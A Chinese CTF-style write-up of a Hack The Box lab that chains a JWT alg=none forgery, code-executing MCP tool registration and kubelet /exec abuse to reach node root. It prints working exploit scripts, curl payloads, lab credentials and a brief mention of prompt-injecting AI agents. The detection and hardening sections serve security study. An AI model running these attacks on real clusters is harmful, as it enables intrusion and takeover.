夜雨聆风学习资料网

ARTICLE · 1046920

MCP-AI工具注册表攻击

MCP-AI工具注册表攻击

MCP / AI 工具注册表攻击实战

从 JWT alg=none 伪造管理员,到在 K8s 节点上拿到 root

免责声明:本文全部内容来自我本人在授权靶场(Hack The Box 退役靶机 fireflow)的实操记录,仅用于安全学习与防御建设。请勿对未授权系统使用文中任何技术。所有凭据、flag 均属于靶场实例且已轮换,无复用价值。

一句话总结:一个"让用户提交工具实现"的 AI 工具注册表,只要认证能绕、工具注册等于执行代码,就能把主机上的普通用户直接升级成 Kubernetes 节点 root。

这条链路上没有任何内核漏洞,全是配置与设计缺陷——这正是云原生时代最值得学的一类攻击。

MCP(Model Context Protocol)是 AI Agent 与"工具/数据源"之间的标准接口。它现在被大量部署在容器、尤其是 Kubernetes 里,而且多数实现都很新——新组件 + 高权限 + 认证模型粗糙,这三件事凑在一起,就是现在最值得盯的攻击面。

一、先建立心智模型:MCP 为什么危险

一个典型的 MCP 部署长这样:

AI Agent (LLM) ──JSON-RPC 2.0──▶ MCP Server ──▶ 工具实现(脚本/HTTP/DB)                         /mcp        └─ 常跑在容器/Pod 里,带 ServiceAccount

结构性风险在于:MCP 的核心语义就是"工具 = 可调用的代码"。于是:

正常设计:平台允许注册新工具→ 攻击者视角:注册接口就是任意代码执行入口
正常设计:工具调用把结果返回给 Agent→ 攻击者视角:天然是"带返回值的 RCE",不用反弹 shell
正常设计:MCP Server 跑在 Pod 里→ 攻击者视角:直接获得集群内身份 + SA token
正常设计:用 JWT 做认证→ 攻击者视角:alg=none / 弱密钥 / 角色自述 = 认证绕过
正常设计:Agent 会读内容并照做→ 攻击者视角:prompt injection 诱导调用危险工具(AI 特有)

结论:看到 POST /tools 这种"收一个 code 字段"的接口,就该直接按 RCE 去测。

二、通用攻击面 Checklist(可直接照扫)

四条线,按顺序走一遍:

① 指纹 / 暴露面(认证前)

curl -sS $B/api/v1/version          # 版本 + 自曝算法/端点清单 curl -sS $B/openapi.json | jq .paths # FastAPI 全端点 curl -sS $B/docs                    # Swagger UI curl -sS $B/api/v1/tools            # 列工具(常忘鉴权)

② 认证面

JWT:alg=none / HS256 弱密钥 / role 自述 / kid 注入 / jku 指向可控 JWKS
默认口令:配置文件、镜像层、环境变量
服务账号:往往是"服务名 + 年份"这种弱口令

③ 执行面(核心)

POST /tools {"code":"..."} — 注册即执行
POST /mcp tools/call — 触发执行
工具参数直接拼进 shell / 传给 subprocess stdin(二次注入)

④ 云原生面(拿到 Pod 内执行之后)

cat /var/run/secrets/kubernetes.io/serviceaccount/token   → SSAR 查权限   → nodes/proxy 可达 kubelet(/pods /logs /exec /debug/pprof)   → 找 privileged + hostPath 的 Pod   → 读宿主文件系统 → 节点 root

判定优先级:/version 里出现的 supported_algorithms、/openapi.json 里 security 为空的端点、收 code/script/template 字段的 POST——这三个点九成就是入口。

三、靶场环境与前置条件

主机:Ubuntu 24.04 + 单节点 k3s v1.34.6+k3s1(主机名 fireflow)
MCP 注册表:FastAPI 服务,Pod default/mcp-server-xxx,NodePort :30080
外部可达性:被防火墙从外部阻断 → 需要 SSH 隧道(靶机自身可直连)
副产物:平台在 ~/.mcp/config.json 放了服务账号
初始位置:已通过 Langflow 未授权 RCE 拿到 www-data → 口令复用登录 SSH(普通用户)

前置条件一句话:只要能在目标上拿到一个普通 shell(能 SSH,或被 SSRF 打到内网 :30080),这条链就能走完。

四、逐步实录(含真实回显)

Step 0 · 凭据与隧道

cat ~/.mcp/config.json {   "server": "http://<TARGET_IP>:30080",   "status_endpoint": "/api/v1/version",   "user": "langflow-bot",   "password": "Langfl0w@mcp2026!" }
# NodePort 外部打不通,开隧道 ssh -L 13080:127.0.0.1:30080 nightfall@<TARGET_IP> # 之后 http://127.0.0.1:13080 就是注册表

拿到的是一个 非管理员服务账号,只够"合法登录看一眼",不够做事——所以下一步的认证绕过才是关键。

Step 1 · 指纹:/version 自曝弱点 + openapi 全端点

$ curl -sS http://127.0.0.1:13080/api/v1/version {   "service": "MCP AI Tool Registry",   "version": "0.1.0",   "auth": { "type": "JWT",             "supported_algorithms": ["HS256", "none"] },   "endpoints": [     "POST /mcp                        [MCP JSON-RPC 2.0]",     "POST /api/v1/auth",     "GET  /api/v1/tools",     "POST /api/v1/tools               [admin]"   ] }

服务端自己把绕过方式写在脸上了:"supported_algorithms": ["HS256","none"]——它明确告诉你:"我支持不签名。"

GET /api/v1/version、POST /api/v1/auth鉴权:无(情报 + 换 token)
GET /api/v1/tools鉴权:无(列工具,信息泄露)
POST /api/v1/tools鉴权:Bearer [admin] ← 注册工具 = RCE 入口
POST /mcp鉴权:Bearer(tools/list、tools/call)

Step 2 · 用泄露的服务账号登录

curl -sS -X POST http://127.0.0.1:13080/api/v1/auth \   -H 'Content-Type: application/json' \   -d '{"username":"langflow-bot",        "password":"Langfl0w@mcp2026!"}'  # → {"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 #     .eyJzdWIiOiJsYW5nbG93LWJvdCIsInJvbGUiOiJ1c2VyIn0...", #    "token_type":"bearer"}

解开 payload 就是 {"sub":"langflow-bot","role":"user"}——角色就写在 token 里。这已经预告了打法:签名一旦能绕,角色就由我说了算。

Step 3 · 认证绕过:JWT alg=none(6 行代码伪造 admin)

原理:JWT 的结构是

base64url(header) . base64url(payload) . base64url(signature)                           ↑ header.alg 声明"用什么算法签的"

如果服务端按照 token 自己声明的 alg 决定要不要验签,那把它改成 none、签名留空,就能签发任意身份:

import base64, json b = lambda d: base64.urlsafe_b64encode(     json.dumps(d, separators=(',',':')).encode()).rstrip(b'=').decode() tok = f"{b({'alg':'none','typ':'JWT'})}.{b({'sub':'admin','role':'admin'})}." print(tok)

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0..eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.└─ {"alg":"none"} ─┘ └─ {"role":"admin"} ─┘ └ 空签名

服务端为什么吃这一套(Pod 内 /app/main.py 原文):

L36  header = jose_jwt.get_unverified_header(token)  # 先不验签读 header L37  alg = header.get("alg", "HS256") L39  if alg == "none": L40      payload = jose_jwt.decode(token, key="",              options={"verify_signature": False})   # ← 显式关闭验签(根因) L46  elif alg == "HS256":          payload = jose_jwt.decode(token, JWT_SECRET,                                    algorithms=["HS256"]) L65  def require_admin(payload = Depends(verify_token)): L66      if payload.get("role") != "admin": raise 403  # 附带弱点 L18  JWT_SECRET = "mcp-jwt-secret-do-not-share"   # 硬编码弱密钥 L22  "langflow-bot":    {..., "role": "user"} L23  "nightfall-admin": {..., "role": "admin"}    # 管理员口令明文在镜像里

注意:require_admin 是真的在检查的,只是它的输入 payload 被伪造了。认证绕过的根因在验签,不在授权逻辑。这一点在写报告时很重要。

Step 4 · 注册工具(服务端保存"一段代码")

TOK='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.'  curl -sS -X POST http://127.0.0.1:13080/api/v1/tools \   -H "Authorization: Bearer $TOK" \   -H 'Content-Type: application/json' \   -d '{"name":"poc","description":"probe",        "inputSchema":{"type":"object","properties":{}},        "code":"import subprocess\nprint(subprocess.getoutput(\"id\"))"}'  # → {"status":"registered","name":"poc"}

服务端模型就是 ToolRegisterRequest{name, description, inputSchema, code}——code 就是一段完整 Python 源码,无审查、无沙箱、无白名单。

Step 5 · 调用即执行 = 带输出的 RCE

curl -sS -X POST http://127.0.0.1:13080/mcp \   -H "Authorization: Bearer $TOK" \   -H 'Content-Type: application/json' \   -d '{"jsonrpc":"2.0","id":1,"method":"tools/call",        "params":{"name":"poc","arguments":{}}}'

result.content[0].text =uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)mcp-server-54464cb475-29ztf

服务端执行原文:

L199 if method == "tools/call": L205     stdin_data = json.dumps(arguments).encode() L206     proc = subprocess.Popen(["python3","-c",tool["code"]],                   stdin=PIPE, stdout=PIPE, stderr=PIPE) L213     stdout, stderr = proc.communicate(input=stdin_data, timeout=30) L221     return {"result":{"content":[              {"type":"text","text": text}]}}   # stdout+stderr 原样回显

参数走 stdin、输出原样回显——等于拿到一个交互式命令执行通道,还省掉了反弹 shell 的出网问题。

两个实操技巧:① 把 shell 脚本 base64 后内联进 code,避免引号地狱;② Pod 有独立文件系统——宿主上的 /tmp/x.py 在 Pod 里不存在,必须内联传输(我第一次就写漏了,直接 cat 报文件不存在)。

Step 6 · Pod 内环境(实测)

身份    : uid=1000(mcp)   ns=default 主机名  : mcp-server-54464cb475-29ztf 依赖    : fastapi / uvicorn / python-jose / passlib Python  : websockets 16.0   ← 可直接打 kubelet WebSocket 二进制  : curl ✓ cat ✓ sh ✓   ✗ kubectl ✗ nc ✗ wget SA      : /var/run/secrets/kubernetes.io/serviceaccount/ 连通性  : https://<node>:10250/pods → 200  ← 能直连 kubelet

Step 7 · SA 权限矩阵(用 SSAR 精确测,不要猜)

get nodes/proxy ✅ allowed(唯一有效权限)
create nodes/proxy ❌
pods/exec、attach、portforward、pods/log ❌
list/get secrets ❌
GET /api/v1/pods(apiserver) ❌ 403

为什么一个只读权限就能到 root:kubelet 的 10250 后面是一整套运维 API(/pods、/logs、/debug/pprof、/exec)。nodes/proxy 的含义是"允许代理到 kubelet",而 kubelet 自己不做细粒度授权——它只问 apiserver"这人能不能 proxy 到我",然后就放手了。

最容易卡死的两个坑:① kubelet 用 HTTP 方法当授权动词:POST /exec → verb=create → 403;GET /exec + Upgrade: websocket → verb=get → ✅ 101。② kubelet 的流参数名是 input / output / error,不是 stdin/stdout/stderr;写错会报 "you must specify at least 1 of stdin, stdout, stderr",看起来像"参数没被解析",其实只是名字不对。

Step 8 · 找 privileged + hostPath 的 Pod

NODE="<node-ip>" TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)  GET https://$NODE:10250/pods  (Authorization: Bearer $TOKEN)  → monitoring/prometheus-prometheus-node-exporter-xxxxx    容器 node-exporter    privileged=True  runAsUser=0  hostPID  hostNetwork    hostPath: /proc→/host/proc, /sys→/host/sys, /→/host/root

判定要点:看每个 Pod 的 spec.volumes[].hostPath 和 containers[].securityContext,两个条件同时满足就是目标。

hostPath: / → /host/root:容器的 /host/root 就是宿主的 /
privileged: true:不受 capability/seccomp/AppArmor 限制
runAsUser: 0:容器内 uid=0(配 privileged 就是真 root)
hostPID / hostNetwork:能看到宿主进程、用宿主网络栈

四个条件凑齐 ⇒ cat /host/root/root/root.txt 读的就是宿主 /root/root.txt(注意路径是双 root:挂载点 + 宿主路径拼起来)。

评估影响时一定要提:这里 hostPath 是只读,所以只能读。如果可写,性质立刻升级为完整宿主控制——写宿主 /root/.ssh/authorized_keys、改 /etc/systemd/system 里的服务、塞 cron,都是持久化 root。

Step 9 · kubelet /exec(WebSocket)→ 容器内 uid=0 → 拿到 root

GET /exec/<ns>/<pod>/<container>     ?output=1&error=1     &command=/bin/sh&command=-c     &command=cat%20/host/root/root/root.txt Host: <node>:10250 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: <16B base64> Sec-WebSocket-Version: 13 Sec-WebSocket-Protocol: v4.channel.k8s.io Authorization: Bearer <mcp-sa token>
子协议:必须带 v4.channel.k8s.io,否则握手失败
帧格式:二进制帧,第 1 字节 = 通道号(1=stdout,2=stderr,3=error);内容从 data[1:] 开始
读法:一直读到 close 帧(末尾会附 {"status":"Success"})
心跳:opcode 9(ping)要回 pong,否则可能被断连

Pod 里已有 websockets 16.0,最简客户端 10 行:

import asyncio, urllib.parse, websockets, ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE  async def kexec(cmd):     q = "&".join("command=" + urllib.parse.quote(c, safe="")                  for c in cmd)     url = (f"wss://{NODE}:10250/exec/{ns}/{pod}/{cnt}"            f"?output=1&error=1&{q}")     out = b""     async with websockets.connect(         url, ssl=ctx,         additional_headers={"Authorization": f"Bearer {TOKEN}"},         subprotocols=["v4.channel.k8s.io"],         open_timeout=15) as ws:         try:             while True:                 d = await asyncio.wait_for(ws.recv(), timeout=6)                 if isinstance(d, (bytes, bytearray)) and len(d) > 1:                     out += bytes(d[1:])   # 去掉通道字节         except Exception:             pass                          # 超时=没有更多数据     return out.decode(errors="replace")

没有 websockets 库时,用纯 socket+ssl 手写握手与帧解析(完整实现见文末仓库)。

本靶实测(真的从 Pod 里跑完的):把上面 Step 8+9 写成一个脚本,通过 MCP 注册表送进 Pod 执行,一次输出:

[*] pod 内身份: uid=1000 ns=default node=<ip>[*] kubelet /pods -> 200,共 7 个 pod[+] PRIV monitoring/prometheus-...-node-exporter    runAsUser=0 privileged=True    hostPath: {'proc':'/proc','sys':'/sys','root':'/'}[*] exec iduid=0(root) gid=65534(nobody) groups=10(wheel)[*] exec cat /host/root/etc/hostnamefireflow  ← 证明读的是宿主文件系统[*] exec cat /host/root/root/root.txt587541b427f9f2e587f129519bcfd285  ← root flag

Step 10 · 另一条更短的路

MCP 注册 → Pod RCE 是"通用通道"。还有一种按环境巧合可走的近路:Pod 内进程是 uid=1000,而宿主用户也是 uid=1000,于是宿主的 ps 能看到 Pod 进程、/proc/<pid>/root/ 可以直接读:

cat /proc/<pid>/root/run/secrets/kubernetes.io/serviceaccount/token # 直接拿 SA token,完全跳过 MCP 注册环节
MCP 链:前提能访问 :30080;通用,重启后重新注册即可;步骤多;会在 Pod 日志留痕
/proc 直读:前提 Pod 与宿主同 uid;依赖巧合;一步到位;无痕

五、服务端脆弱代码逐行点评

① 验签可绕过if alg == "none": decode(..., verify_signature=False)→ 攻击者自签任意身份
② 授权只看 token 自述if payload["role"] != "admin": 403→ 角色应来自服务端存储/IdP,且关键操作二次校验
③ 密钥硬编码在镜像里JWT_SECRET = "mcp-jwt-secret-do-not-share"→ 即使禁掉 none,弱密钥同样可离线伪造
④ 凭据明文入库管理员账号+口令直接写在源码里
⑤ 注册工具 = 执行任意代码Popen(["python3","-c",tool["code"]])→ 这是设计级问题,不是编码疏忽
⑥ 把弱点写进产品说明"supported_algorithms": ["HS256","none"]

六、检测视角:防守方能看见什么

✅ MCP Pod 的 access log:会记录 POST /api/v1/tools、POST /mcp最有效的检测点。本靶正常流量只有每 10 秒一次的健康检查,异常注册一眼可见
⚠ apiserver audit:对 /exec 的 authorize 记录(需启用 audit policy)
❌ kubelet 自身:默认不记录 exec,容器里执行了什么常常查不到
❌ 宿主 auditd:动作发生在容器内,宿主审计看不到

七、防御清单(按重要性)

1. JWT 严格化:解码前钉死算法,永远拒绝 none;密钥外置、足够熵、可轮换
2. 角色不信任 token 自述:从服务端存储/IdP 查,关键操作二次校验 + 审计
3. "注册工具"不能等于"执行任意代码":只允许引用已有工具,或上真沙箱(gVisor/Kata、非 root、只读 FS、无网络、seccomp)
4. 端点全鉴权 + 收敛暴露面:/docs、/openapi.json、GET /tools 不该匿名可读;NodePort 不对不可信网段开放
5. RBAC 最小化:删掉 nodes/proxy(等价于可任意对话 kubelet,含 /exec)
6. Pod 安全:禁止 privileged + hostPath:/;用 Pod Security Admission 强制 baseline/restricted;runAsUser 非 0
7. 凭据卫生:口令/密钥不进镜像、不进家目录;杜绝跨系统口令复用

八、核心结论

进入 Pod = 拿到集群身份;集群身份里如果存在没被限制的 nodes/proxy 或 create pods,就等于拿到宿主 root——因为总有别的 Pod 挂载了宿主文件系统,而 kubelet 允许你在它里面执行命令。

三条速记(遇到同类目标先看这三处)① supported_algorithms: ["HS256","none"] → 认证能绕② POST /tools {"code": ...} → 注册即 RCE③ get nodes/proxy → kubelet /exec → 特权 Pod → 节点 root

参考

· JWT 未签名算法("none"):RFC 7519 §3.6· python-jose 的 options={"verify_signature": False} 属显式关闭验签的经典误用· Kubernetes:nodes/proxy 子资源语义、kubelet 端点(/pods、/logs、/exec、/debug/pprof)· MCP 协议规范:modelcontextprotocol.io(JSON-RPC 2.0;initialize / tools/list / tools/call)

本文为授权靶场实操记录,仅用于安全学习与防御建设。如果这篇对你有帮助,欢迎关注、在看、转发给做云原生安全的同事。

相关学习资料